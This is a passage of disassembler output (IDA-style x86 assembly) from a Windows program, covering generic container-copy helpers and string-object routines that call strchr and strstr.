		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 2841874h
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		call	near ptr 2850000h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	sub_5F76F7
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5F76F7
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		call	sub_5F76F7
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
